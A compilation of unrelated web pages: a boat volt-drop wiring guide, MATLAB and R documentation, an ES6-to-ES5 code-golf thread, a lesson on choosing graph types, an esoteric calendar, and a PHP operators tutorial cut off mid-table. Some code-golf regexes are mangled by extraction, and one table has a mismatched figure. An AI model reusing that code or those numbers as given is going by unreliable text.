Watts/Volts = Amps (W/V = A).  We have both of those the Volts 12V and the Watts is 6W. 6/12 = 0.5A\n\nThe third is the total length of the cable run from the voltage source positive back to the negative voltage source. We have this on the drawing because we measured it on the scaled boat outline if we start at the positive busbar and add the lengths travelling to the negative busbar -  3+4+3 = 10 metres.\n\nNow we can either do this plugging the values into the standard formulae for volt-drop umpteen times or we can use the volt-drop calculator in the files section of the group, which gives the answer for all the standard cable sizes in one go. It is downloadable from https://www.facebook.com/groups/1827133223999993/permalink/1827361213977194/\n\nOr you can use this formulae umpteen times\n\nThe voltage drop (V) at the load, in volts, can be calculated using the following formula:\n\nVolt-drop = 0,0164 ×I ×L/S\n\nWhere\n\nS is the conductor cross-sectional area, in millimetres squared\n\nl is the load current, in amperes.\n\nL is the length, in metres, of conductor from the positive power source to the electrical device and back to the negative source connection.\n\nBelow I have plugged the values into the 12 Volts Boating Group volt-drop calculator.", null, "", null, "", null, "There are several cables that we could use;\n\n1.5mmsq, which has a volt-drop of 0.06V/0.53%\n2mmsq, which has a volt-drop of 0.05V/0.39%\n2.5mmsq, which has a volt-drop of 0.04V/0.32%\n3mmsq, which has a volt-drop of 0.03V/0.25%\n\nWe need to look ahead to what will be the heaviest circuit on our lighting circuit in terms of percentage loss. This could be caused by it being high current or just the length of the cable runs. In this case it is the passageway lights because of the length of cables used to give the ability to allow the passageway lights to be switched off at the bow or stern. If we can use the same size cable for the majority of the wiring we will be able to buy reels of that cable that is cheaper than buying by the metre.", null, "Passageway lighting circuits\n\nThis is where you, I hope, learn the simple way to calculate the combined volt-drop of several circuits that come together as one on the way to the batteries.\n\nLooking at the circuits they all come together at the switch 2W2 so we can calculate their individual volt-drops and the volt-drop from switch 2W2 to the fuse board.\n\nThe currents of each of the circuits are 0.75A, 1.0A and 0.5A, and I have calculated their individual volt drops at 2.06%, 2.98% and 0.90% and the current for switch 2W2 to the fuse board etc is the total of all the circuits 2.25A and the Volt-drop is 2.25% using 3mmsq cable.\n\nEach of the three circuits will take part of the 2W2 switch circuit losses proportional to each circuit's current. So first circuit has a current of 0.75A divide by the total current of 2.25A is 0.333, so the proportion of the Switch 2W2 percentage loss 2.25% x 0.333 gives us the percentage of the Switch 2W2 loss that belongs to the first circuit equals 0.75% which needs adding to circuit one loss of 2.06% which equals 2.81%. We repeat that for each circuit and by using 3mmsq cable for the switch 2W2 to 2W1 and onward to the fuse-board wiring and 2mmsq for the rest of the circuits. I hope that all makes sense\n\nNow you need to work your way through all the drawings working out volt-drop and cable size etc.", null, "Lighting 1 circuit complete", null, "Lighting 2 circuit complete", null, "", null, "", null, "Passageway lighting circuit complete\n\nGradually you build a set of drawings for the lighting that has all the information on them. From there you can workout the shopping list for cable etc and install the lighting on the boat.\n\nThis entry was posted in Editorials on ." ]

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[ "# which\n\nLocate functions and files\n\n## Syntax\n\n``which item``\n``which fun1 in fun2``\n``which ___ -all``\n``str = which(item)``\n``str = which(fun1,'in',fun2)``\n``str = which(___,'-all')``\n\n## Description\n\nexample\n\n````which item` displays the full path for `item`.If `item` is a MATLAB® function in a MATLAB code file (`.m`,`.mlx`, or `.p` extension), or a saved Simulink® model (`.slx` or `.mdl` extension), then `which` displays the full path for the corresponding file. `item` must be on the MATLAB path.If `item` is a method in a loaded Java® class, then `which` displays the package, class, and method name for that method.If `item` is a workspace variable, then `which` displays a message identifying `item` as a variable.If `item` is an unsaved Simulink model that is loaded in Simulink, then `which` displays a message identifying `item` as a new Simulink model.If `item` is a file name including the extension, and it is in the current working folder or on the MATLAB path, then `which` displays the full path of `item`.If `item` is an overloaded function or method, then `which` `item` returns only the path of the first function or method found.```\n\nexample\n\n````which fun1 in fun2` displays the path to function `fun1` that is called by file `fun2`. Use this syntax to determine whether a local function is being called instead of a function on the path. This syntax does not locate nested functions.```\n\nexample\n\n````which ___ -all` displays the paths to all items on the MATLAB path with the requested name, as well as any files in special folders that have been implicitly added to the path. Such items include methods of instantiated classes. For more information about these special folders, see What Is the MATLAB Search Path. You can use `-all` with the input arguments of any of the previous syntaxes.```\n\nexample\n\n````str = which(item)` returns the full path for `item` to `str`.```\n\nexample\n\n````str = which(fun1,'in',fun2)` returns the path to function `fun1` that is called by file `fun2`. Use this syntax to determine whether a local function is being called instead of a function on the path. This syntax does not locate nested functions.```\n\nexample\n\n````str = which(___,'-all')` returns the results of `which` to `str`. You can use this syntax with any of the input arguments in the previous syntax group.```\n\n## Examples\n\ncollapse all\n\nLocate the `pinv` function.\n\n`which pinv`\n`matlabroot\\toolbox\\matlab\\matfun\\pinv.m`\n\n`pinv` is in the `matfun` folder of MATLAB.\n\nYou also can use function syntax to return the path to `str`. When using the function form of `which`, enclose all input arguments in single quotes.\n\n`str = which('pinv');`\n\nCreate an instance of the Java® class. This loads the class into MATLAB®.\n\n`myDate = java.util.Date;`\n\nLocate the `setMonth` method.\n\n`which setMonth`\n```setMonth is a Java method % java.util.Date method ```\n\nFind the `orthog` function in a private folder.\n\n`which private/orthog`\n`matlabroot\\toolbox\\matlab\\elmat\\private\\orthog.m % Private to elmat`\n\nMATLAB displays the path for `orthog.m` in the `/private` subfolder of `toolbox/matlab/elmat`.\n\nDetermine which `parseargs` function is called by `area.m`.\n\n`which parseargs in area`\n```% Local function of area matlabroot\\toolbox\\matlab\\specgraph\\area.m (parseargs) ```\n\nYou also can use function syntax to return the path to `str`. When using the function form of `which`, enclose all input arguments in single quotes.\n\n`str = which('parseargs','in','area');`\n\nSuppose that you have a `matlab.io.MatFile` object that corresponds to the example MAT-file `'topography.mat'`:\n\n`matObj = matfile('topography.mat');`\n\nDisplay the path of the implementation of `who` that is invoked when called with the input argument `(matObj)`.\n\n`which who(matObj)`\n```% matlab.io.MatFile method matlabroot\\toolbox\\matlab\\iofun\\+matlab\\+io\\MatFile.m ```\n\nStore the result to the variable `str`.\n\n`str = which('who(matObj)')`\n```str = matlabroot\\toolbox\\matlab\\iofun\\+matlab\\+io\\MatFile.m ```\n\nIf you do not specify the input argument `(matObj)`, then `which` returns only the path of the first function or method found.\n\n`which who`\n`built-in (matlabroot\\\\toolbox\\matlab\\general\\who)`\n\nDisplay the paths to all items on the MATLAB path with the name `fopen`.\n\n`which fopen -all`\n```built-in (matlabroot\\toolbox\\matlab\\iofun\\fopen) % serial method matlabroot\\toolbox\\matlab\\iofun\\@serial\\fopen.m % icinterface method matlabroot\\toolbox\\shared\\instrument\\@icinterface\\fopen.m matlabroot\\toolbox\\instrument\\instrument\\@i2c\\fopen.m ```\n\nReturn the results of `which` to `str`.\n\nFind the `orthog` function in a private folder. You must use the function form of `which`, enclosing all arguments in parentheses and single quotes.\n\n```str = which('private/orthog','-all'); whos str```\n``` Name Size Bytes Class Attributes str 1x1 262 cell ```\n\n## Input Arguments\n\ncollapse all\n\nFunction or file to locate, specified as a character vector or string scalar. When using the function form of `which`, enclose all `item` inputs in single or double quotes. `item` can be in one of the following forms.\n\nForm of the `item` InputPath to Display\n`fun`\n\nDisplay full path for `fun`, which can be a MATLAB function, Simulink model, workspace variable, method in a loaded Java class, or file name that includes the file extension.\n\nTo display the path for a file that has no file extension, type ```which file.``` (The period following the file name is required). Use `exist` to check for the existence of files anywhere else.\n\n`/fun`\n\nLimit the search to functions named `fun` that are on the search path. For example, `which /myfunction` displays the full path for function `myfunction.m`, but not built-in or JAVA functions with the same name.\n\n`private/fun`Limit the search to private functions named `fun`. For example, `which private/orthog` or `which('private/orthog')` displays the path for `orthog.m` in the `/private` subfolder of the parent folder.\n\n`fun(a1,...,an)`\n\nDisplay the path to the implementation of function `fun` which would be invoked if called with the input arguments `a1,...,an`. Use this syntax to query overloaded functions. See the example, Locate Function Invoked with Given Input Arguments.\n\nData Types: `char` | `string`\n\nFunction to locate, specified as a character vector or string scalar. `fun1` can be the name of a function, or it can be in the form `fun(a1,...,an)`. For more information about the form, `fun(a1,...,an)`, see Locate Function Invoked with Given Input Arguments.\n\nWhen using the function form of `which`, enclose all `fun1` inputs in single or double quotes, for example, `which('myfun1','in','myfun2')`.\n\nData Types: `char` | `string`\n\nCalling file, specified as a character vector or string scalar. `fun2` can be the name of a file, or it can be in the form `fun(a1,...,an)`. For more information about the form, `fun(a1,...,an)`, see Locate Function Invoked with Given Input Arguments.\n\nWhen using the function form of `which`, enclose all `fun2` inputs in single or double quotes, for example, `which('myfun1','in','myfun2')`.\n\nData Types: `char` | `string`\n\n## Output Arguments\n\ncollapse all\n\nFunction or file location, returned as a character vector or cell array of character vectors if you use `'-all'`.\n\n• If `item` is a workspace variable, then `str` is the character vector `'variable'`.\n\n• If `str` is a cell array of character vectors, then each row of `str` identifies a result of `which`. The results are ordered according to the Function Precedence Order. If there are shadowed results, you should not rely on the order of the shadowed functions and methods in `str`. To determine if a result is shadowed, call `which` without specifying `str`. `which` indicates shadowed results by the comment ```% Shadowed```.\n\n## Limitations\n\n• When the class is not loaded, `which` only finds methods if they are defined in separate files in an @-folder and are not in any packages." ]

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[ "# Transpile these ES6 arrow functions!\n\nThe ECMAScript 6 standard added many new features to the JavaScript language, including a new arrow function notation.\n\nYour task is to write a basic ES6-to-ES5 transpiler. Given only an ES6 arrow function as input, output its ES5-compatible counterpart.\n\nIt's ! May the shortest program in bytes win!\n\n## The Basics\n\nAn arrow function looks like this:\n\n(a, b, c) => { return a + b - c }\n\n\nAnd its equivalent ES5 function expression looks like this:\n\nfunction(a, b, c) { return a + b - c }\n\n\nIn general, you can copy the body of the function (everything between the curly braces) verbatim.\n\n## Implicit Return Statement\n\nInstead of a body with curly braces, a single expression can be used; the result of this expression is then returned.\n\n(a, b, c) => a + b - c\n\nfunction(a, b, c) { return a + b - c }\n\n\nAnother example:\n\n(a, b, c) => (a + 1, b - 2 * c / 3)\n\nfunction(a, b, c) { return (a + 1, b - 2 * c / 3) }\n\n\nAgain, you may simply copy the expression verbatim - BUT take care that you do not output a line break between it and the return keyword to avoid automatic semicolon insertion!\n\n## One Argument\n\nParentheses are optional if one argument is provided.\n\nfoo => { return foo + 'bar' }\n\nfunction(foo) { return foo + 'bar' }\n\n\n## Whitespace\n\nFinally, you must be able to account for any number of whitespace characters (space, tab, newline) before or after parentheses, variables, commas, curly braces, and the arrow*.\n\n ( o , O\n, _ )=>{\n\nreturn \"Please don't write code like this.\"\n}\n\n\nWhether or not you choose to preserve whitespace in the output is up to you. Keep 'em, remove 'em, or add your own - just make sure it's valid code!\n\n*It's technically illegal for an arrow to come immediately after a line break, but I doubt this fact would help you. :)\n\n## A quick way to validate your output:\n\nEnter var foo = <your output>; foo() into your browser console. If it doesn't complain, you're probably on the right track.\n\n## More rules for the wizards:\n\n• Input is a syntactically valid ES6 arrow function.\n• Assume the body of the function is ES5-compatible (and doesn't reference this, super, arguments, etc). This also means that the function will never contain another arrow function (but you may not assume that \"=>\" will never occur within the body).\n• Variable names will only consist of basic Latin letters, $ and _. • You need not transpile ES6 features that aren't listed above (default parameters, rest operator, destructuring, etc). • The space after a return statement is optional if followed by (, [, or {. • It isn't strictly necessary to match my test cases exactly - you can modify the code as much as you need if it'll help lower your byte count. Really, as long as you produce a syntactically valid, functionally equivalent ES5 function expression, you're golden! • May we assume the input is a syntactically valid arrow function and nothing else? – ETHproductions Apr 21 '17 at 16:18 • An edge case would be a =>\\na, where function(a){ return\\na } would actually return undefined no matter what the value of a is. Do we need to handle this? – ETHproductions Apr 21 '17 at 16:27 • @ETHproductions Don't you just love those automagic semicolons! – Neil Apr 21 '17 at 16:29 • Will we get nested ES6 functions? – user41805 Apr 21 '17 at 17:00 • Can we assume that the input will only contain a single =>? – math junkie Apr 21 '17 at 17:50 ## 3 Answers ## JavaScript (ES6), 123110100 97 bytes Saved 3 bytes thanks to @Neil s=>s.replace(/$$?(.*?)$$?\\s*=>\\s*([^]*)/,(_,a,b)=>function(${a})${b=='{'?b:{return${b}}})\n\n\nAssumes the input is a syntactically valid arrow function and nothing else. Correctly handles the case a =>\\na, though not handling is not any shorter as far as I can tell.\n\nOutput when the code is run through itself:\n\nfunction(s){return s.replace(/$$?(.*?)$$?\\s*=>\\s*([^]*)/,(_,a,b)=>function(${a})${b=='{'?b:{return ${b}}})} I can save 9 bytes with a possibly invalid format: s=>s.replace(/$$?(.*?)$$?\\s*=>\\s*({?)([^]*?)}?$/,(_,a,z,b)=>Function(a,z?b:'return '+b))\n\n\nOutput for itself:\n\nfunction anonymous(s) {\nreturn s.replace(/$$?([^=)]*)$$?\\s*=>\\s*({?)([^]*?)}?$/,(_,a,z,b)=>Function(a,z?b:'return '+b)) } (Specifically, the function anonymous is what I'm worried about.) • Shame that your function itself contains a further arrow function so that when run through itself it's not actually fully transpiled. – Neil Apr 21 '17 at 19:17 • I think $$?(.*?)$$?\\s*=> might save you 3 bytes. – Neil Apr 21 '17 at 20:20 # Retina, 8680 79 bytes ^([^(]*?)= ($1)=\ns(\\s*$>\\s*(.*[^}])$\n>{return $1} )(.*?)=>(.*) function$1$2 Try it Online! Saved a byte thanks to Neil Saved 6 bytes with help from ETHproductions Edit: Fixed for possibility of newlines in function body. 75 byte solution assuming the input won't contain §: Try it Online! • You can use a pilcrow instead of \\n to save a byte. – Neil Apr 21 '17 at 19:00 • This seems to remove line breaks within the function body, which may alter the functionality. – darrylyeo Apr 21 '17 at 20:19 • I think \\s includes ¶, so line three can be \\s*$ to save 4 bytes. – ETHproductions Apr 23 '17 at 13:58\n• @ETHproductions It seems \\s only matches ¶ when the s configuration option is added. Nevertheless, it saved me some bytes – math junkie Apr 23 '17 at 14:32\n\n# PHP, 112 bytes\n\npreg_match(\"#$$??(.*)$$?=>(\\{?)(.*$)#U\",$argn,$m);echo\"function($m)\",trim($b=$m)==\"{\"?$b:\"{return$b}\";\n\n\ntakes input from STDIN; run with -R" ]

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[ "# floor()\n\nReturns the largest (closest to positive infinity) double value that is less than or equal to the value and is equal to a mathematical integer.\n\n## Syntax\n\n``Numeric floor()``\n\n## Usage\n\nSpecial cases:\n\n• If the value is already equal to a mathematical integer, then the result is the same as the value.\n• If the value is NaN or an infinity or positive zero or negative zero, then the result is the same as the value." ]

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[ "# Comparing Graphs", null, "In this unit, we learned about line, bar and circle graphs. We learned how to read and interpret information from each type of graph, and how to construct these graphs. If you were asked to create a graph from a given set of data, how would you know which type of graph to use? Which graph we choose depends on the type of data given and what we are asked to convey to the reader. The information below will help you determine which type of graph to use.\n\nTables are used to organize exact amounts of data and to display numerical information. Tables do not show visual comparisons. As a result, tables take longer to read and understand. It is more difficult to examine overall trends and make comparisons with tables, than it is with graphs.\n\nLine graphs are used to display data or information that changes continuously over time. Line graphs allow us to see overall trends such as an increase or decrease in data over time.\n\nBar graphs are used to compare facts. The bars provide a visual display for comparing quantities in different categories or groups. Bar graphs help us to see relationships quickly. However, bar graphs can be difficult to read accurately. A change in the scale in a bar graph may alter one's visual perception of the data.\n\nCircle Graphs are used to compare the parts of a whole. Circle graphs represent data visually in the same proportion as the numerical data in a table: The area of each sector in a circle graph is in the same proportion to the whole circle as each item is to the total value in the table. Constructing an accurate circle graph is difficult to do without a computer. This is because you must first find each part of the whole through several elaborate calculations and then use a protractor to draw each angle. This leaves a lot of room for human error. Circle graphs are best used for displaying data when there are no more than five or six sectors, and when the values of each sector are different. Otherwise they can be difficult to read and understand.\n\nProblem 1: The table below shows the number of sneakers sold by brand for this month. Construct a graph which best demonstrates the sales of each brand.\n\n Sneakers Sold This Month Brand Number Sold Adidas 25 New Balance 18 Nike 32 Reebok 15 Other 10\n\nAnalysis: The numerical data in this table is not changing over time. So a line graph would not be appropriate for summarizing the given data. Let's draw a circle graph and a bar graph, and then compare them to see which one makes sense for this data. Before we can draw a circle graph, we need to do some calculations. We must also order the data from greatest to least so that the sectors of the circle graph are drawn from largest to smallest, in a clockwise direction.\n\n Sneakers Sold This Month Brand Number Sold Percent Decimal Angle Measure Nike 32 32 0.32 0.32 x 360° = 115.2° Adidas 25 25 0.25 0.25 x 360° = 90° New Balance 18 18 0.18 0.18 x 360° = 64.8° Reebok 15 15 0.15 0.15 x 360° = 54° Other 10 10 0.10 0.10 x 360° = 36° Total 100 100% 1.00 = 1 360°", null, "Circle graphs are best used to compare the parts of a whole.\n\nThe circle graph above shows the entire amount sold. It also shows each brand's sales as part of that whole.\n\nThe circle graph uses the total of all items in the table.\n\nEach sector of the circle graph is in the same proportion to the whole circle as the number of sales for that industry is to the entire amount of sales from the table.\n\nTo construct an accurate circle graph, you must first order the data in the table from greatest to least. You also need to find each part of the whole through several elaborate calculations and then use a protractor to draw each angle.\n\nIf we were asked to show that the Nike brand dominates the sneaker industry, then the circle graph would be a better choice for summarizing this data.", null, "Bar graphs are used to compare facts.\n\nThe bar graph stresses the individual sales of each brand as compared to the others.\n\nThe bar graph does not use the total of all items in the table.\n\nThe bar graph simply gives a visual listing of the information in the table.\n\nThe number of sneakers sold for each item in the table matches the value of each bar in the bar graph. This makes the bar graph a more direct and accurate way of representing the data in the table.\n\nWe were asked to construct a graph which best demonstrates the sales of each brand.\n\nSolution: Each graph above has its own strengths and limitations. However, the bar graph is the best choice for summarizing this data based on what we were asked to convey to the reader.\n\nProblem 2: The table below shows the humidity level, recorded in Small Town, NY for seven days. Construct a graph which best demonstrates the humidity level for each day.\n\n Humidity Levels in Small Town, NY Day Humidity Level (%) 1 51 2 59 3 65 4 68 5 70 6 67 7 72\n\nAnalysis: The humidity level is given as a percent. At first glance, this might lead one to think that a circle graph should be used to summarize this data. However, the data in the table does not indicate any parts in relation to a whole. Thus, a circle graph is not the right choice. The data in this table is changing over time. So a line graph would be the appropriate choice for summarizing the given data.\n\nSolution:", null, "Problem 3: The table below shows the composition of Earth's atmosphere. Construct a graph which best represents the composition of the Earth's Atmosphere.\n\n Composition of Earth's Atmosphere Gas Percent Nitrogen 77 Oxygen 21 Other 2\n\nAnalysis: The word composition indicates that we are looking at the parts of a whole. The Earth's Atmosphere is the whole (100%) and each gas is a part of that whole. Accordingly, a circle graph is the best choice for summarizing this data.\n\nSolution:", null, "Problem 4: The table below shows the surface area of each continent in square kilometers. Construct a graph which best represents this data.\n\n Surface Area of Continents Continent Surface Area (km2) Africa 15,000,000 Antarctica 14,200,000 Asia 44,936,000 Australia 7,614,500 Europe 10,525,000 North America 23,500,000 South America 17,819,100\n\nAnalysis: The numerical data in this table is not changing over time. So a line graph would not be appropriate choice for summarizing the given data. Let's draw a circle graph and a bar graph and compare them to see which one makes sense for this data. Before we can draw a circle graph, we need to do some calculations. We must also order the data from greatest to least so that the sectors of the circle graph are drawn from largest to smallest in a clockwise direction.\n\n Surface Area of Continents Continent Surface Area (km2) Percent Decimal Angle Measure Asia 44,936,000 33.64 .3364 .3364 x 360° = 121.104° North America 23,500,000 17.59 .1759 .1759 x 360° = 63.324° South America 17,819,100 13.33 .1333 .1333 x 360° = 47.988° Africa 15,000,000 11.23 .1133 .1133 x 360° = 40.788° Antarctica 14,200,000 10.63 .1063 .1063 x 360° = 38.268° Europe 10,525,000 7.88 .0788 .0788 x 360° = 28.358° Australia 7,614,500 5.70 .0570 .0570 x 360° = 20.52° Total 133,594,600 100.00 1.00 = 1 360°", null, "Do Africa and Antarctica really have the same surface area? The tool we used to create this circle graph rounded each value to the nearest whole percent. As a result, the circle graph shows that Africa and Antarctica both have a surface area of 11%; whereas the table shows numbers for these continents that are similar, but not the same.\n\nCircle graphs are used to compare the parts of a whole. However, they are best used when there are no more than five or six sectors and when the values of each section are different.\n\nThe circle graph above has several sectors with similar sizes. It also has seven sectors. This makes it a bit difficult to compare the parts and to read the graph. However, the world has seven continents, so it does  make sense to use a circle graph to compare the parts (continents) with the whole (world).", null, "The bar graph shows the surface area in millions of square kilometers. This was necessary in order to create a bar graph that is not confusing because of too many gridlines. The bar graph shows a surface area of 15.00 million sq. km for Africa and a surface area of 14.20 million sq km. for Antarctica.\n\nBar graphs are used to compare facts. The bar graph stresses the individual items listed in the table as compared to the others. The bar graph does not show the total of all items in the table.\n\nThe bar graph above allows us to compare the surface area of each continent. However, it does not allow us to compare the parts to the whole. So we cannot see the relationship between the surface area of each continent and the surface area of all seven continents.\n\nSolution: It is difficult to determine which type of graph is appropriate for the given data in this problem. Each graph above has its own strengths and limitations. You must choose one of these solutions based on your own judgment.\n\nSummary: Graphs help us examine trends and make comparisons by visually displaying data. Before we can graph a given set of data from a table, we must first determine which type of graph is appropriate for summarizing that data. There are several types of graphs, each with its own purpose, and its own strengths and limitations. Which one we choose depends on the type of data given, and what we are asked to convey to the reader.\n\n### Exercises\n\nDirections: Enter one of the following answers for each exercise below: line, bar or circle. For each exercise below, click once in the ANSWER BOX, type in your answer and then click ENTER. Your answer  should be given as a word or as a whole number. After you click ENTER, a message will appear in the RESULTS BOX to indicate whether your answer is correct or incorrect. To start over, click CLEAR.\n\n 1.", null, "The ages of 7 trumpet players in a band are 13, 12, 11, 12, 11, 10 and 12. What type of graph would be appropriate for comparing the ages of these trumpet players? ANSWER BOX:    RESULTS BOX:\n 2.", null, "The federal hourly minimum wage was recorded each year from 1990 to 2007. What type of graph would best show the changes in minimum wage during this time period?   ANSWER BOX:    RESULTS BOX:\n 3.", null, "When asked if \"antidisestablishmentarianism\" has 28 letters, 50 people said yes, 35 people said no and 15 people said I don't know. What type of graph would best compare these responses  to each other and with the total? ANSWER BOX:    RESULTS BOX:\n 4.", null, "The growth of 7 different plants was recorded in centimeters. What type of graph would be best for comparing the growth of each plant? ANSWER BOX:    RESULTS BOX:\n 5.", null, "In a city, the rainfall was recorded in inches each month for 12 months. What type of graph would best display the change in rainfall? ANSWER BOX:    RESULTS BOX:" ]

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[ "## Supported Data\n\nSystem Identification Toolbox™ software supports estimation of linear models from both time- and frequency-domain data. For nonlinear models, this toolbox supports only time-domain data. For more information, see Supported Models for Time- and Frequency-Domain Data.\n\nThe data can have single or multiple inputs and outputs, and can be either real or complex.\n\nYour time-domain data should be sampled at discrete and uniformly spaced time instants to obtain an input sequence\n\nu={u(T),u(2T),...,u(NT)}\n\nand a corresponding output sequence\n\ny={y(T),y(2T),...,y(NT)}\n\nu(t) and y(t) are the values of the input and output signals at time t, respectively.\n\nThis toolbox supports modeling both single- or multiple-channel input-output data or time-series data.\n\nTime-domain I/O dataOne or more input variables u(t) and one or more output variables y(t), sampled as a function of time. Time-domain data can be either real or complex\nTime-series dataContains one or more outputs y(t) and no measured input. Can be time-domain or frequency-domain data.\nFrequency-domain dataFourier transform of the input and output time-domain signals. The data is the set of input and output signals in frequency domain; the frequency grid need not be uniform.\nFrequency-response dataComplex frequency-response values for a linear system characterized by its transfer function G, measurable directly using a spectrum analyzer. Also called frequency function data. Represented by `frd` or `idfrd` objects. The data sample time may be zero or nonzero. The frequency vector need not be uniformly spaced.\n\n### Note\n\nIf your data is complex valued, see Manipulating Complex-Valued Data for information about supported operations for complex data.\n\n##### Support", null, "Get trial now" ]

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[ "Art of Ninzuwu\n\nThe Sign of Sheba Year 18,002: Begins June 28th 2014\n\nThere are eight months in the Calendar of Mu, sometimes referred to as the Nyarzirian Calendar. Each month consists of forty-five days, and represents a system of the eight hexagrams moving through the five elements. The Ninzuwu Priest/Priestess invokes the mudra/mantra formulae associated with each hexagram that rules a particular day after invoking the Armor of Amaterasu Ohkami. The chart below illustrates the daily Vasuh letters invoked and the ruling “deity” for the said hexagram:\n\n1. June 28th, 2014 = Tasuta = 9th Hexagram = Hmu-Bnhu\n2. June 29th 2014 = Kukunochi = 20th Hexagram = Hmu-Tuu\n3. June 30th 2014 = Ieh = 37th Hexagram = Zhee-Zhee-Lewhu\n4. July 1st 2014 = Gzk = 42nd Hexagram = Zhee-Tuu-Hmu-Nzu-Aum\n5. July 2nd 2014 = Jhn = 53rd Hexagram = Zhee-Bnhu\n6. July 3rd 2014 = Sheba = 57th Hexagram = Hmu-Shki-Bnhu-Bnhu\n7. July 4th 2014 = Lzwa = 59th Hexagram = Aum-Shki\n8. July 5th 2014 = Kuhvi = 61st Hexagram = Phe-Phe\n9. July 6th 2014 =", null, "Entering Earth Element\n10. July 7th 2014 = Tasuta = 9th Hexagram = Hmu-Bnhu\n11. July 8th 2014 = Kukunochi = 20th Hexagram = Hmu-Tuu\n12. July 9th 2014 = Ieh = 37th Hexagram = Zhee-Zhee-Lewhu\n13. July 10th 2014 = Gzk = 42nd Hexagram = Zhee-Tuu-Hmu-Nzu-Aum\n14. July 11th 2014 = Jhn = 53rd Hexagram = Zhee-Bnhu\n15. July 12th 2014 = Sheba = 57th Hexagram = Hmu-Shki-Bnhu-Bnhu\n16. July 13th 2014 = Lzwa = 59th Hexagram = Aum-Shki\n17. July 14th 2014 = Kuhvi = 61st Hexagram = Phe-Phe\n18. July 15th 2014 =", null, "Entering Water Element\n19. July 16th 2014 = Tasuta = 9th Hexagram = Hmu-Bnhu\n20. July 17th 2014 = Kukunochi = 20th Hexagram = Hmu-Tuu\n21. July 18th 2014 = Ieh = 37th Hexagram = Zhee-Zhee-Lewhu\n22. July 19th 2014 = Gzk = 42nd Hexagram = Zhee-Tuu-Hmu-Nzu-Aum\n23. July 20th 2014 = Jhn = 53rd Hexagram = Zhee-Bnhu\n24. July 21st 2014 = Sheba = 57th Hexagram = Hmu-Shki-Bnhu-Bnhu\n25. July 22nd 2014 = Lzwa = 59th Hexagram = Aum-Shki\n26. July 23rd 2014 = Kuhvi = 61st Hexagram = Phe-Phe\n27. July 24th 2014 =", null, "Entering Fire Element\n28. July 25th 2014 = Tasuta = 9th Hexagram = Hmu-Bnhu\n29. July 26th 2014 = Kukunochi = 20th Hexagram = Hmu-Tuu\n30. July 27th 2014 = Ieh = 37th Hexagram = Zhee-Zhee-Lewhu\n31. July 28th 2014 = Gzk = 42nd Hexagram = Zhee-Tuu-Hmu-Nzu-Aum\n32. July 29th 2014 = Jhn = 53rd Hexagram = Zhee-Bnhu\n33. July 30th 2014 = Sheba = 57th Hexagram = Hmu-Shki-Bnhu-Bnhu\n34. July 31st 2014 = Lzwa = 59th Hexagram = Aum-Shki\n35. August 1st 2014 = Kuhvi = 61st Hexagram = Phe-Phe\n36. August 2nd 2014 =", null, "Entering Air Element\n37. August 3rd 2014 = Tasuta = 9th Hexagram = Hmu-Bnhu\n38. August 4th 2014 = Kukunochi = 20th Hexagram = Hmu-Tuu\n39. August 5th 2014 = Ieh = 37th Hexagram = Zhee-Zhee-Lewhu\n40. August 6th 2014 = Gzk = 42nd Hexagram = Zhee-Tuu-Hmu-Nzu-Aum\n41. August 7th 2014 = Jhn = 53rd Hexagram = Zhee-Bnhu\n42. August 8th 2014 = Sheba = 57th Hexagram = Hmu-Shki-Bnhu-Bnhu\n43. August 9th 2014 = Lzwa = 59th Hexagram = Aum-Shki\n44. August 10th 2014 = Kuhvi = 61st Hexagram = Phe-Phe\n45. August 11th 2014 =", null, "Entering Void Element" ]

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[ "# plsda_regcoeff_plot: plsda_regcoeff_plot class In structToolbox: Data processing & analysis tools for Metabolomics and other omics\n\n## Description\n\nPlots the regression coefficients of a PLSDA model.\n\n## Usage\n\n `1` ```plsda_regcoeff_plot(level, ...) ```\n\n## Arguments\n\n `level` the group label to plot regression coefficients for `...` additional slots and values passed to struct_class\n\nstruct object\n\n## Examples\n\n ```1 2 3 4 5 6``` ```D = iris_DatasetExperiment() M = mean_centre()+PLSDA(factor_name='Species') M = model_apply(M,D) C = plsda_regcoeff_plot(level='setosa') chart_plot(C,M) ```\n\nstructToolbox documentation built on Nov. 8, 2020, 6:54 p.m." ]

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[ "• An operator is a special symbol that tells the compiler to perform some task.\nPHP offers various operators to perform different tasks.\nWe can divide them into the following categories based on their operations.\n1. Arithmetic Operators\n2. Assignment Operators\n3. Incrementing/Decrementing Operators\n4. Relational Operators\n5. Logical Operators\n6. Array Operators\n7. Concatenate operator\n\n### Arithmetic Operators\n\nArithmetic operators are used to perform arithmetic tasks such as addition, subtraction, division etc. Main operators in this category are as follow:\n\n Operator Name Description Example Result x + y Addition Sum of x and y 2 + 2 4 x – y Subtraction Difference of x and y 5 – 2 3 x * y Multiplication Product of x and y 5 * 2 10 x / y Division Quotient of x and y 15 / 5 3 x % y Modulus Remainder of x divided by y 5 % 2 10 % 8 10 % 2 1 2 0 – x Negation Opposite of x – 2 a . b Concatenation Concatenate two strings “Hi” . “Ha” HiHa\n\n### Assignment Operators\n\n• Assignment operator is used to assign righ hand side value to left hand side variable.\n• In PHP “=” is used as assignment operator. It means that the left operand gets the value of the expression on the right hand side.\n• For example the following code will assign the value 10 to variable x\n``\\$x = 10 ;``\n• Some various forms of assignment are as follow:\n Assignment Remark Description x = y x = y The left operand gets set to the value of the expression on the right x += y x = x + y Addition x -= y x = x – y Subtraction x *= y x = x * y Multiplication x /= y x = x / y Division x %= y x = x % y Modulus\n\n### Incrementing/Decrementing Operators\n\n• Increment and decrement operator adds and subtracts to and from the current value by 1 respectively.\n• Basic increment and decrement operators are “++” and “ –“.\n• It has two forms: prefix and postfix.\n Operator Name Description ++ x Prefix Increments x by one, then returns x x ++ Postfix Returns x, then increments x by one — x Prefix Decrements x by one, then returns x x — Postfix Returns x, then decrements x by one\n\n### Relational Operators\n\n• Relational operators are used to compare two values.\n• Some examples are as follow:\n Operator Name Description Example x == y Equal True if x is equal to y 5==8 returns false x === y Identical True if x is equal to y, and they are of same type 5===”5″ returns false x != y Not equal True if x is not equal to y 5!=8 returns true x <> y Not equal True if x is not equal to y 5<>8 returns true x !== y Not identical True if x is not equal to y, or they are not of same type 5!==”5″ returns true x > y Greater than True if x is greater than y 5>8 returns false x < y Less than True if x is less than y 5<8 returns true x >= y Greater than or equal to True if x is greater than or equal to y 5>=8 returns false x <= y Less than or equal to True if x is less than or equal to y 5<=8 returns true\n\n### Logical Operators\n\n• Logical operators are used to perform logical task.\n Operator Name Description Example x and y And True if both x and y are true x=6 y=3 (x < 10 and y > 1) returns true x or y Or True if either or both x and y are 